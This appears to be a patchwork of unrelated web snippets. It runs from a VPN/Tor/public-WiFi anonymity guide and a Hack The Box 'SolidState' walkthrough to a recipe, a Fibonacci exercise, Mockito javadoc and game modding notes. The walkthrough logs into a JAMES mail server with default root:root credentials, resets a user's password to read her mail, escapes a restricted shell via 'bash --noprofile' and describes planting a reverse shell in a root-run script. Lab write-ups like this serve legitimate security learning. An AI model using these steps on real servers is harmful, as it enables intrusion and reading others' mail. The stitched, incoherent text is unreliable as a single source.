SMS provides a secure communication channel for users. However, between the users and the SMS server, there are four components that users should take
great care to hide their trace from their trackers. They are secure connection, secure web browser, secure device, and secure email account. This
section is about how to make a secure connection from your device to the SMS server.
As you may have already known that all the communication between the users and the SMS server is via SSL (i.e. https protocol), a quite secure way
to use strong encryption method to protect your sent messages content, which avoid anyone to intercept your secret. Then why we still need an additional
secure connection? The reason is that your counter parts are not script kiddies, but a gang of state supported and well equipped professional hackers.
Even your ISP will help them to monitor your cyber activities if they request for it. So, they may not get your messages content easily, but they can
certainly get your SMS sites DNS names and IP address easily if you don't take further steps to hide them. Once they know your SMS sites, they
can track all connected IP addresses to these sites. If SMS users don't connect to the SMS server with secure connections, their true identities can be
uncovered by government agents. Therefore, secure connection serves two purposes, hide your SMS sites and true identity of SMS users, or at least protect
SMS users even your enemies know your SMS sites.
There are three ways to build a secure connection. They are virtual private network (VPN), Tor browser (Tor network), and public available WiFi
connections. In general, public available WiFi hotspots are considered insecure, then why should they be used? Because 'secure' in here also means
anonymity.
Virtual Private Network (VPN)
VPN could hide your true IP address as you connect to your SMS server, but you must remember that VPN is NOT designed for anonymity. Your VPN
provider knows your true IP address (and hence your true identity), and all your cyber activities if he wants to monitor you. Therefore, how to choose
your VPN provider is very important for your safety. The basic principles are:
| 1. |
If you need to hide yourself from your local government, don't subscribe those VPN providers that your local government's jurisdiction can be
applied to them.
|
| |
| 2. |
If it is possible, use free VPN services. Although freely available VPN services have many disadvantages, they could provide one more layer of
anonymity for you. They don't have your payment record, and payment record can be used to identify a person. However, you should remember, free
VPN providers still know your true IP address, and your cyber activities. So, rule number 1 must be considered as select your free VPN provider(s).
|
For free VPN service, I recommend VPN Gate. It is developed by University of Tsukuba, Japan. Please note that
all VPN servers provided by VPN Gate come from volunteers, and some of them are located into the territory of dictatorial regime like China and Russia,
you should avoid those VPN servers. Table 5.1.1 shows you the brief steps to install and use VPN Gate service on varied platforms.
| Platform |
Installation & Usage |
| MS Windows |
Go to VPN Gate client download page and click on the link 'Download SoftEther VPN Client +
VPN Gate Client Plugin' to download a compressed file to your computer. Decompress it and install the VPN Gate client. Then you will find an icon
'SoftEther VPN Client Manager' on your desktop, launch it and and double click option 'VPN Gate Public VPN Relay Servers'. Available public VPN
relay searvers will be listed on another pop-up window. Select anyone of them, the button 'Connect to the VPN Server' will be activated, and click
on it will let another pop-up window appear for you to select connection protocol (TCP or UDP), then click the 'OK' button to build a VPN link for
your computer. If everything is OK, a new item 'VPN Gate Connection' with status 'Connected' will be shown on the SoftEther VPN Client Manager.
|
| Android |
Install apps 'OpenVPN Connect - Fast & Safe SSL VPN Client' and 'VPN Gate List (Best Free VPN)' via Google Play. Then launch 'VPN Gate List' to
select a public available VPN server from the list. After you select a VPN server, it will show you the details of this VPN server, and a button
'Import to OpenVPN Connect' is on the last line. Click on this button, a pop-up window is shown to let you confirm to import ovpn profile, you should
click 'OK' button on it. Then, change title of the imported OVPN profile (if you want to) and click the 'ADD' link at the right top corner to import
this VPN server profile into OpenVPN. Now, you can see the newly added VPN server on your OpenVPN profile list (Note: you are now using OpenVPN
Connect, not VPN Gate List), and it is on disconnected status. Click on the OpenVPN profile, it will try to build a VPN connection between your
Android device and the VPN server. If the VPN connection is built successfully, the button in front of the OpenVPN profile will be turned on and
changed to green colour, and status becomes 'CONNECTED'. To disconnect a VPN connection, click on the OpenVPN profile again.
|
| iOS (iPhone, iPad) |
Install apps 'OpenVPN' and 'VpnGateFilter' via App Store, then run 'VpnGateFilter' to bring in available VPN servers. Select one of these VPN servers,
and usually an advertisement will show up, just ignore and close it, another pop-up window will be displayed to let you select which application to
handle this VPN profile. You must select the option 'Copy to OpenVPN', you will then switch to the application 'OpenVPN' to import current VPN profile.
Click the 'Add' link on the screen, and then change title for the new VPN profile (if you want to), and click the 'ADD' link at the right top corner to
import this VPN server profile into OpenVPN. You should see your newly added VPN server on your OpenVPN profile list in disconnected status. To build a
VPN connection between your device to the VPN server, click on the VPN profile. If the VPN connection is built successfully, the button in front of the
OpenVPN profile will be turned on and changed to green colour, and status becomes 'CONNECTED'. To disconnect a VPN connection, click on the OpenVPN
profile again.
|
| Ubuntu Linux |
Install software packages 'openvpn' and 'network-manager-openvpn-gnome' with the following command in super user mode:
apt-get install openvpn network-manager-openvpn-gnome
Then download an OpenVPN configuration file from one of the available VPN servers on VPN Gate web page. After that,
launch 'System Settings', select 'Network', click the '+' button on left lower corner, a pop-up window appears to let you select interface. Select 'VPN'
on the combo-box, and click button 'Create...'. Another pop-up window will appear to let you choose VPN type, select 'Import a saved VPN configuration...'
and click the button 'Create...'. A file selection window appears to let you select a VPN configuration file to import, and you should select the download
OpenVPN configuration file from VPN Gate, and click button 'Open'. Finally, another pop-up window will show you the details of the OpenVPN configuration
file, you should click button 'Save' to import it. To activate the VPN connection, click on the network sign on right top corner to show a pop-up menu, in
there select 'VPN Connections', a sub-menu of available VPN connections will appear, select your desired VPN connection name, and it will start to build a
VPN connection for you. It may take a while, so wait until the VPN connection is ready.
|
| Table 5.1.1 |
Remark:
To check your VPN status and details, launch a web browser, and go to web site https://www.iptest.club. If DNS service
shown on this web page is still from your original ISP, please wait a while and check again. Don't do anything until DNS service of your device is picked up
by the VPN provider. Otherwise, your internet activities could still be traced by your ISP.
|
Tor Browser (Tor Network)
Tor browser is designed for user anonymity. When you use Tor browser to go to the internet, it will go through three arbitrary selected nodes of Tor network
around the world, and connection between all nodes are strongly encrypted. Because of it's nature, speed of Tor browser could be very slow. Tor project officially
support five platofrms. They are MS Windows, MacOS X, Linux, OpenBSD and Android. Tor browser installation on MS Windows and Linux are quite straightforward, just
decompress the download archive and run it. Table 5.1.2 summarize some tips for Tor Browser installation and usage you should know about.
| # |
Tips |
| 1. |
For security reason, you cannot run Tor browser in super user mode in Linux.
|
| 2. |
The officially supported Tor browser for Android needs Orbot (proxy with Tor) to run. i.e. You need to install two apps: Orbot and Tor browser for Android.
Tor browser for Android is still in alpha state (as at year 2019), that means it may still have bugs or features missing.
|
| 3. |
Although Tor project has no officially supported Tor browser on iOS (iPhone and iPad), an application called 'Onion Browser' (developed by Mike Tigas) can
use Tor network to protect your web surfing activities. However, you must bear in mind that Onion Browser can't fully protect your IP address from leaking
outside Tor network, especially on multimedia handling.
|
| Table 5.1.2 |
Besides web surfing, if you want to use Tor network to protect all your internet activities, you may turn to use Whonix. Whonix is two VirtualBox virtual
machines built on Debian Linux. One is called 'gateway', another one is called 'workstation'. 'Gateway' has two network interfaces, one of the network
interfaces is used to connect to the Tor network, another network interface is used locally for 'workstation'. All internet connection from the 'workstation'
must go through the 'gateway'. Therefore, all internet activities on the 'workstation' is protected by the Tor network. Since Whonix must be run on VirtualBox, so
that it is for desktop or laptop computers only, and it supports MS Windows, Linux, MacOS X and Qubes.
To download Whonix, go to it's download page. For more details of Whonix, you may consult
Whonix WiKi page.
|
Public WiFi Hotspot
Public available WiFi hotspots are usually insecure places (see this article for details).
However, if you take all the precautions, you could still keep yourself anonymity and safety.
Although public WiFi hotspot can't expose your true identity directly, your trackers still have many ways to correlate indirect data to identify you.
For example, coffee cafes usually provide public WiFi access, and those places also commonly have CCTV monitoring. Your face on CCTV timeline, and internet
activities log on the public WiFi router, could let secret police narrow down who is the right person they target. Therefore, the following tips are for you as
using public WiFi hotspots:
| 1. |
Don't hang on same public WiFi hotspot frequently or regularly.
|
| |
| 2. |
To cover your face, a cap / sunglasses / surgical mask is helpful. Don't dress too outstanding, and don't wear attractive accessories. You must keep yourself
low profile.
|
| |
| 3. |
If it is possible, use VPN or Tor network to protect your internet connection as you are using public WiFi hotspot.
|
| |
| 4. |
Activate firewall and disable all sharing on your device. For mobile devices, also disable blue tooth, NFC and any other remote connection ways
except your WiFi card.
|
|


{% extends "base.html" %} {% block banner_urls %}
News article text was retrieved from the Guardian newspaper's online publications in the Science section under the search term Space from the year 1957 to October 2019. The newspaper's Open Platform API was used to query published news article listings over this period. All articles found were retrieved and their text was extracted and processed (tokenization, stemming, expanding contractions, removing stop words, etc.). The unsupervised learning model used was Non-Negative Matrix Factorization (NMF) to extract topics. After iterating over a range of topic numbers, the topic model was then optimized using the coherence score.
With the best number of topics selected, the Frobenius Norm was used to approximate the residual between the original text data and the NMF model's approximation of it. Median topic residuals ranged from 0 to 1 - the higher the residual, the worse the topic represents its constituent news articles. For 35 learned topics, median residuals ranged from approximately 0.65 to 0.95. To assign names to the topics, the five articles with the best and worst residuals were manually read. This also provided a qualitative assessment of the consistency of each topic. Using FastAPI, the trained model was used to build this ML prediction API to extract the topic corresponding to news articles not seen during training (covering the period of November 2019 to February 2020).
Unsupervised ML attempts to extract patterns from data set with no labeled observations during training.


SolidState
- Linux
- Medium
Recon
- Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
Nmap scan report for <IP_ADDRESS> Host is up (0.043s latency). Scanned at 2021-02-18 22:33:54 CET for 418s Not shown: 65528 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5WdwlckuF4slNUO29xOk/Yl/cnXT/p6qwezI0ye+4iRSyor8lhyAEku/yz8KJXtA+ALhL7HwYbD3hDUxDkFw90V1Omdedbk7SxUVBPK2CiDpvXq1+r5fVw26WpTCdawGKkaOMYoSWvliBsbwMLJEUwVbZ/GZ1SUEswpYkyZeiSC1qk72L6CiZ9/5za4MTZw8Cq0akT7G+mX7Qgc+5eOEGcqZt3cBtWzKjHyOZJAEUtwXAHly29KtrPUddXEIF0qJUxKXArEDvsp7OkuQ0fktXXkZuyN/GRFeu3im7uQVuDgiXFKbEfmoQAsvLrR8YiKFUG6QBdI9awwmTkLFbS1Z | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISyhm1hXZNQl3cslogs5LKqgWEozfjs3S3aPy4k3riFb6UYu6Q1QsxIEOGBSPAWEkevVz1msTrRRyvHPiUQ+eE= | 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MJqjMh9oEw/2OVe0isA7e3ruHz5fhUP4cVgY 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open pop3? 119/tcp open nntp? 4555/tcp open rsip? 18683/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 25 / 4555
-
JAMES Remote Administration Tool 2.3.2 -> James Mail Server
- Creds root:root (Default creds)
- We log in to check users and reset their passwords, looking for reading their mail.
1 2 3 4 5 6 7 8 9 10 11 12 13
╰─❯ telnet <IP_ADDRESS> 4555 Trying <IP_ADDRESS>... Connected to <IP_ADDRESS>. Escape character is '^]'. JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands setpassword mindy pass1234 Password for mindy reset
- We have luck with mindy's mail.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
╰─❯ telnet <IP_ADDRESS> 110 Trying <IP_ADDRESS>... Connected to <IP_ADDRESS>. Escape character is '^]'. USER mindy PASS pass1234 LIST +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready +OK +OK Welcome mindy +OK 2 1945 1 1109 2 836 . RETR 1 +OK Message follows Return-Path: <mailadmin@localhost> Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from <IP_ADDRESS> ([<IP_ADDRESS>]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798 for <mindy@localhost>; Tue, 22 Aug 2017 13:13:42 -0400 (EDT) Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT) From: mailadmin@localhost Subject: Welcome Dear Mindy, Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you. We are looking forward to you joining our team and your success at Solid State Security. Respectfully, James . RETR 2 +OK Message follows Return-Path: <mailadmin@localhost> Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from <IP_ADDRESS> ([<IP_ADDRESS>]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for <mindy@localhost>; Tue, 22 Aug 2017 13:17:28 -0400 (EDT) Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) From: mailadmin@localhost Subject: Your Access Dear Mindy, Here are your ssh credentials to access the system. Remember to reset your password after your first login. Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. username: mindy pass: P@55W0rd1!2@ Respectfully, James
- There is also an exploit but it needs user interaction.
Shell as mindy
-
We log with the creds
mindy:P@55W0rd1!2@
on SSH. But we find we are in a restricted shell- After trying several bypasses (from here), we find that we can log with noprofile on bash.
1 2 3 4
╰─❯ ssh<EMAIL_ADDRESS>-t 'bash --noprofile'<EMAIL_ADDRESS>password: ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
- After trying several bypasses (from here), we find that we can log with noprofile on bash.
Privilege escalation
Now with an interactive shell, we enumerate to find a possible privilege escalation.
- With pspy we find that user root are executing
/opt/tmp.py
. We have write permissions over this file.
1 2 |
|
- Adding our reverse shell to script
1 2 3 4 5 6 7 8 9 10 11 |
|
- Root reverse shell


I am a Junior Web Developer and recent graduate from CNM Ingenuity Fullstack Deep Dive Bootcamp. Seeking a position that will help me further develop my skills in Front End Development and UX/UI design. My prior work experience as a caregiver and a bus operator has given me extensive experience in customer service and compassion, as well as ability to adapt in stressful situations.
In my free time you will see me on my bike, running or walking while listening to an audio book or podcast. Also love to dabble with acrylic paints, alcohol based markers and when I get the chance pottery.
This is my Capstone Project from the CNM FullStack Bootcamp. It is a group project between Nohemi Tarango and I. The idea for the website was to create a platform in which solider's deployed over seas could request items that they wanted or needed. Then a person from the U.S. could look over lists and decide what items they want to donate and mail to the solider. The project is sill a work in progress. As of now users can sign up and sign in. They can post requests. View all open request on home page and view details on a specific request. This project used Asana to plan sprints and check off progress, Git to create branches so each teammates could code without conflicts and merge completed functionality.
This project we focused on creating a website using bootstrap exclusively to format the layout of the elements to mimic a wireframe that was provided.
For this project we were given a html form which we had to style by creating a CSS file to make it look like the provided wireframe.
I would love to work with you!


This large city is a fashionable holiday resort and has all the facilities of a tourist destination.
Position 44°04.6'N, 12°34.5'E.
All officials are here. The Harbour office is on the E quay.
A berth may be found in the river but it tends to be crowded and can also be affected by the sudden flood which can happen here.
The marina is large and offers a more comfortable berth. Moor where directed.
Good shelter in the marina and in the inner part of the harbour.
Last updated March 2010.


Objective
In this challenge, we learn about using the Fibonacci Function.
Resources
Here's a helpful video on the topic:
The Fibonacci Series
The Fibonacci sequence begins with $0$ and $1$. These are the first and second terms, respectively. After this, every element is the sum of the preceding elements:
Fibonacci(n) = Fibonacci(n-1) + Fibonacci(n-2)
Task
Given the starter code, complete the Fibonacci function to return the $N$$th$ term.
We start counting from Fibonacci$(1) = 0$. This might differ from some other notations that treats Fibonacci$(0) = 0$.
The overall equation is:
= 0 , n = 1
Fibonacci(n) = 1 , n = 2
Fibonacci(n-1) + Fibonacci(n-2) , n > 2
Input Format
One line of input, the integer $N$.
Constraints
$0 < N <= 40$
Output Format
Output one integer, the $N$$th$ Fibonacci number.
Sample Input
3
Sample Output
1
Function Prototype
The starter code is provided for Scala. The code for accepting the input and displaying the output is provided. You will be provided the input parameter $N$, and you need to return the $N$$th$ Fibonacci term.
Sample Input and Output Values for the Fibonacci Series
fibonacci(3) = (0+1) = 1
fibonacci(4) = (1+1) = 2
fibonacci(5) = (1+2) = 3
Requirements
Simple test cases can be cleared with a purely recursive function exponentially. To clear the more challenging test cases without violating the principles of functional programming, you might benefit from learning about the accumulator technique.


- RECIPES
- EPISODE GUIDE
MORE FROM THE SHOW
DRIED APRICOT FLAMBE ALA MODE
Here's how to make the dish
- Heat a saucepan, melt your butter.
- To that, lightly "saute" your fruits and add your brown sugar to caramelize. Eyeball it and make sure your sugar doesn't burn.
- Sabrina's Safe Option: Pour in rhum and raise heat to medium/medium high to cook off alcohol- 3 to 4 minutes of light stirring. Turn off heat.
- *Challenging Option: The moment you pour in your rhum, light a long match/ kitchen lighter and bring it close to the pan to "flame" your alcohol. Stay on a safe distance! Else, you might end up losing your pretty lashes! :D
- Place scoops of ice cream on a serving bowl or glass. To that, pour your hot, caramelized fruits. And top with cornflakes.
- Serve and enjoy immediately!!!
From my kitchen to yours with love, Mwahhh! -S
Ingredients:
- 1/2 stick of butter
- 1/4 cup of rhum
- 1/4 cup dried apricots, chopped
- 2 large ripe Cavendish bananas (or Lakatan), chopped
- 1/4 cup cornflakes
- 1 tbsp. brown sugar
- Vanilla ice cream


History of Hong Kong
Temples in the City
Hidden in lush hills and wedged between shining skyscrapers, Hong Kong’s temples are active places of worship and the focal point of the city’s festivals. Visit them to see faithful devotees of Buddhist, Taoist and local deities performing ancient rituals amid aromatic wafts of incense. Read more...


rotten > Library > Biographies > Historical > George Armstrong Custer
George Armstrong Custer
May have committed suicide:
At 3:30 p.m. on June 25, 1876, General Custer and 267 of his men were killed by Indians in the battle of Little Big Horn.  There was a wound in his temple, and it was thought that Custer had saved his last bullet for himself.
Pornopolis |
Rotten |
Faces of Death |
Famous Nudes
|


In cryptography, a Caesar cipher, is a type of substitution cipher in which each letter in the plaintext is replaced by a letter some fixed number of positions down the alphabet. For example, with a left shift of 3, D would be replaced by A, E would become B, and so on. The method is named after Julius Caesar, who used it in his private communications.


---
layout: post
title: Welcome back and welcoming Dave
tags:
- Tumble
status: publish
type: post
published: true
meta:
_edit_last: '1'
dsq_thread_id: '17413919'
---
Nearly a year since any activity on this blog. It has been far too long. I had high hopes on recording my thoughts as I traverse through the technical side of my life. (I contribute frequently with my wife on our family blog.) I recorded one such thought and got my hand slapped. In retrospect, I used stronger, more confrontational language than necessary. In fact, there were several blog posts done in frustration. Yet I cowered. Decided my thoughts were not being received well. And abandoned efforts.
I am going to try again. This time, however, I plan to do write ups that are less about the abstract and more about what I am actually doing. Before I felt a topic needed some grandiose raison d'être that fit into an even larger story arc in order to qualify as worth of posting. I now realize that that is not necessary. I've learned effective bloggers have passion, not an agenda.
One person I respect, among many, in how he blogs about what he works on is Dave Johnson of Roller fame. He posts on project status, architecture, reblogs content as appropriate, with commentary. In other words, it seems to be an extension of himself. As a blog should be.
I don't know Dave Johnson personally, not having the occasion to meet him. Yet I've followed his blog for years, as well as Roller and, more recently, Project SocialSite.
Dave is joining IBM. I hope to find an excuse to work with Dave at some point.


During Spring 2021 semester, I worked as a tutor for the School of Engineering. As one of the tutors, we held multiple a series of study sessions every week, on subjects and classes ranging from Calculus I/II/III to Phyics I/II and Chemistry I/II.
I took digital notes on my tablet during every meeting and they have just been fully documented on a separate webpage. I taught Calculus II, Calculus III, and Physics I. It was a lot of fun!
If you are a student and struggling with some of the courses above, you can look at the notes as a bank of problems with detailed solutions. As a tutor or a grader or a teaching assistant, you would be able to find a good source of teaching material and the curriculum of those courses.


{% extends "layouts/layout01.html" %} {% block content %}
Teaching children computer programming, web development, robotics, and STEM in a fun way.  Tack mizzenmast crow's nest Spanish Main driver topgallant mizzen gangway Sail ho.


Google Pixel 4 will reportedly jump on the 90Hz display bandwagon Google would actually be ahead of a hardware trend for once.
chanan/BlazorStrap Bootstrap 4 Components for Blazor Framework. Contribute to chanan/BlazorStrap development by creating an account on GitHub.
tidwall/buntdb BuntDB is an embeddable, in-memory key/value database for Go with custom indexing and geospatial support - tidwall/buntdb
Features • GitHub Actions Easily build, package, release, update, and deploy your project in any language—on GitHub or any external system—without having to run code yourself.
Languages & Runtime: .NET Community Standup - August 8th, 2019 - Null Reference Types Join members from the .NET teams for our community standup covering great community contributions for Framework, .NET Core, Languages, CLI, MSBuild, and more.
Testing RESTful Services from the command-line with HttpRepl - DEV Community 👩💻👨💻 . Tagged with dotnet, node, webdev, productivity.
Analyzing native memory allocation with BenchmarkDotNet How to analyze native memory allocation with BenchmarkDotNet.
Amazing Graphs - Numberphile Full Amazing Graphs trilogy: http://bit.ly/Amazing_Graphs Featuring Neil Sloane of OEIS fame. Even more unexpected graphs in our next video. More links & stuff in full description below ↓↓↓ More Neil Sloane videos: http://bit.ly/Sloane_Numberphile Neil ...
NVIDIA/open-gpu-doc Documentation of NVIDIA chip/hardware interfaces. Contribute to NVIDIA/open-gpu-doc development by creating an account on GitHub.
Online Survey Software: Closed Survey This survey is currently closed. Please contact the survey author for assistance.


Isolate
Select
Hide
X
Y
Z
Zoom
Show ghost objects in isolate
Selection Changed event
Isolate event
Hide event
Show event
Progress update event
Error event
Escape event
Navigation mode changed event
Camera Changed event
Highlight event
Geometry loaded event


{% if projects %}
Your projects:
Delete Project
{% for project in projects %}
{% endfor %}
{% else %}
{% endif %}
{% endblock %}
You haven't any Project yet
Create a new project to start using our features:
Create a new Project How it works?


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.junit.runner.Runner org.mockito.runners.ConsoleSpammingMockitoJUnitRunner
public class ConsoleSpammingMockitoJUnitRunner
Uses JUnit 4.5 runner BlockJUnit4ClassRunner
.
Experimental implementation that suppose to improve tdd/testing experience. Don't hesitate to send feedback to<EMAIL_ADDRESS>It is very likely it will change in the next version!
This runner does exactly what MockitoJUnitRunner
does but also
prints warnings that might be useful.
The point is that Mockito should help the tdd developer to quickly figure out if the test fails for the right reason.
Then the developer can implement the functionality.
Also when the test fails it should be easy to figure out why the test fails.
Sometimes when the test fails, the underlying reason is that stubbed method was called with wrong arguments. Sometimes it fails because one forgets to stub a method or forgets to call a stubbed method. All above problems are not immediately obvious.
One way of approaching this problem is full-blown 'expect' API. However it means the 'expectations upfront' business which is not in line with core Mockito concepts. After all, the essence of testing are explicit assertions that are described consistently at the bottom of the test method.
Here's the experiment: a warning is printed to the standard output if the test fails. Also, you get a clickabe link to the line of code. You can immediately jump to the place in code where the potential problem is.
Let's say your test fails on assertion. Let's say the underlying reason is a stubbed method that was called with different arguments:
//test:
Dictionary dictionary = new Dictionary(translator);
when(translator.translate("Mockito")).thenReturn("cool framework");
String translated = dictionary.search("Mockito");
assertEquals("cool framework", translated);
//code:
public String search(String word) {
...
return translator.translate("oups");
On standard output you'll see something like that:
[Mockito] Warning - stubbed method called with different arguments.
Stubbed this way:
translator.translate("Mockito");
org.dictionary.SmartDictionaryTest.shouldFindTranslation(SmartDictionaryTest.java:27)
But called with different arguments:
translator.translate("oups");
org.dictionary.SmartDictionary.search(SmartDictionary.java:15)
Note that it is just a warning, not an assertion. The test fails on assertion because it's the assertion's duty to document what the test stands for and what behavior it proves. Warnings just makes it quicker to figure out if the test fails for the right reason.
Note that code links printed to the console are clickable in any decent IDE (e.g. Eclipse).
So far I identified 2 cases when warnings are printed:
Do you think it is useful or not? Drop us an email at<EMAIL_ADDRESS>| Constructor Summary | |
|---|---|
ConsoleSpammingMockitoJUnitRunner(java.lang.Class<?> klass)
|
| Method Summary | |
|---|---|
void |
filter(org.junit.runner.manipulation.Filter filter)
|
org.junit.runner.Description |
getDescription()
|
void |
run(org.junit.runner.notification.RunNotifier notifier)
|
| Methods inherited from class org.junit.runner.Runner |
|---|
testCount |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public ConsoleSpammingMockitoJUnitRunner(java.lang.Class<?> klass) throws java.lang.reflect.InvocationTargetException
java.lang.reflect.InvocationTargetException
| Method Detail |
|---|
public void run(org.junit.runner.notification.RunNotifier notifier)
run
in class org.junit.runner.Runner
public org.junit.runner.Description getDescription()
getDescription
in interface org.junit.runner.Describable
getDescription
in class org.junit.runner.Runner
public void filter(org.junit.runner.manipulation.Filter filter) throws org.junit.runner.manipulation.NoTestsRemainException
filter
in interface org.junit.runner.manipulation.Filterable
org.junit.runner.manipulation.NoTestsRemainException
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Hello, I'm Nazreen!
Part-time Student | Developer
HTML | CSS | JavaScript | PHP | Python | Java
Thanks for taking a look at my web portfolio!
I am currently a part-time degree student majoring in IT.
A passionate individual who likes anything IT.
This includes coding apps and also websites!
Note: This website is currently only tested on Google Chrome.
Functionality on other browser will differ.
I am currently a part-time degree student majoring in IT.
A passionate individual who likes anything IT.
This includes coding apps and also websites!
Note: This website is currently only tested on Google Chrome.
Functionality on other browser will differ.


fun subtreeMutation(): Unit
Performs the subtree mutation operation on this tree.
This is achieved by creating a new randomly generated tree and performing crossover with that new randomly generated tree.
Note that this operation directly modifies the tree that initiates the operation.


| << Röid | Table of Contents | Spöb >> |
Shïp Resource
Spaceships are the heart of Nova, so the shïp resource contains a lot of info. The name of a shïp class, which is seen in the targeting display, corresponds to the name of the shïp resource. The first nine fields give Nova some general performance info on each shïp type:
Holds Cargo capacity, in tons. Put a negative sign in front of this value if you want to prevent the player from purchasing mass expansions. (e.g. a value of -100 would mean 100 tons of hold space but no mass expansions allowed) Shield Shield strength. Accel Acceleration magnitude. 300 is considered an average value. Speed Top speed. 300 is also an average value here. Maneuver Turn rate. 10 = 30°/sec. Fuel Fuel capacity. 100 = 1 jump. FreeMass Space available to add additional items and upgrades. Note that this is in addition to the space taken up by the shïp's stock weapons. (e.g. a shïp with 20 tons listed in FreeMass and 10 tons of stock weapons will actually have 30 tons of expansion space, with 20 available.) Armor Armor strength. ShieldRech Shield recharge speed, in number of shield points x1000 per frame. Bigger numbers here mean faster recharge - a value of 1000 is equal to 1 point per frame or 30 points per second. The next twelve fields tell Nova which stock weapons to put on your shïp when you first buy it:
WeapType (x8) ID numbers of weapon types
-1 or 0 No weapon
128-191 Add this weapon typeWeapCount (x8) How many of each of the above weapons to add
-1 or 0 None
1 and up Add this manyAmmoLoad (x8) The standard ammo load for weapons that need it, or ignored for those that don't
-1 or 0 No ammo
1 and up Include this many rounds of ammoThe next two fields tell Nova what this shïp's maximum loadout of fixed guns and turreted weapons is. Each shïp has an inherent upper limit on fixed guns and turrets, in order to keep them from becoming absurdly powerful. (e.g. a bulk freighter has lots of room to add weapons, but is limited to a single turret for defense) The fields are:
MaxGun The shïp's maximum number of fixed guns, which are flagged in the WeapFlag field of the oütf resource. MaxTur The shïp's maximum number of turrets, which are flagged in the WeapFlag field of the oütf resource. The next field tells Nova where this shïp is available for purchase:
TechLevel What the technology level of the shïp is. This shïp will be available at all shipyards with a tech level of this value or higher. (The exception to this rule involves the SpecialTech fields of the spöb resource; see the section on spöb resources for more information.) The next field, Cost, tells Nova how much to charge you when you buy this shïp. The cost of buying a shïp is always the cost of the new shïp minus 25% of the original cost of your current shïp and upgrades. (i.e. you always "trade up" to a new shïp)
The next field stores info on how the shïp explodes:
DeathDelay The number of frames the shïp "disintegrates" before finally exploding.
0-59 - The shïp disintegrates for this number of frames and then disappears in a single fireball.
60+ - The shïp disintegrates for this number of frames and then disappears in a huge explosion. The exact size of the resulting fireball is proportional to the shïp's mass. (see below)ArmorRech Armor recharge speed, in number of armor points x1000 per frame. Bigger numbers here mean faster recharge - a value of 1000 is equal to 1 point per frame or 30 points per second. Explode1 Type of explosion to show (0-63) while the shïp is breaking up, or -1 to not show any explosions until the shïp is finished being destroyed. Explode2 Type of explosion to show (0-63) when the shïp is completely destroyed. You can also add 1000 to the value of this field in the same manner as the ExplodeType field in the wëap resource. Set to -1 to not show any explosion when the shïp is destroyed. DispWeight The display weight of this shïp type. Shïps with a higher display weight are shown closer to the top of the shipyard dialog. This can be used to effectively rearrange the order in which shïps are displayed without rearranging the resources themselves. Mass The mass of the shïp, in tons. This doesn't affect acceleration or speed at all, but it does affect travel time in hyperspace and the display on the density scanner. Also, the blast radius and impact strength when the shïp explodes is proportional to its mass.
1-99 - 1 day per jump, small blip on density scanner
100-199 - 2 days per jump, large blip on density scanner
200 and up - 3 days per jump, large blip on density scannerLength The shïp's length in meters. Currently unused in any calculations, but it's kinda cool, so it's displayed in the "detailed shïp info" dialog. The next field tells Nova what kind of AI the shïp will have if it's not created in connection with a düde resource. The only place this field is useful is when a shïp is created as an escort shïp; otherwise, it's ignored:
InherentAI What AI the shïp uses when it's escorting the player.
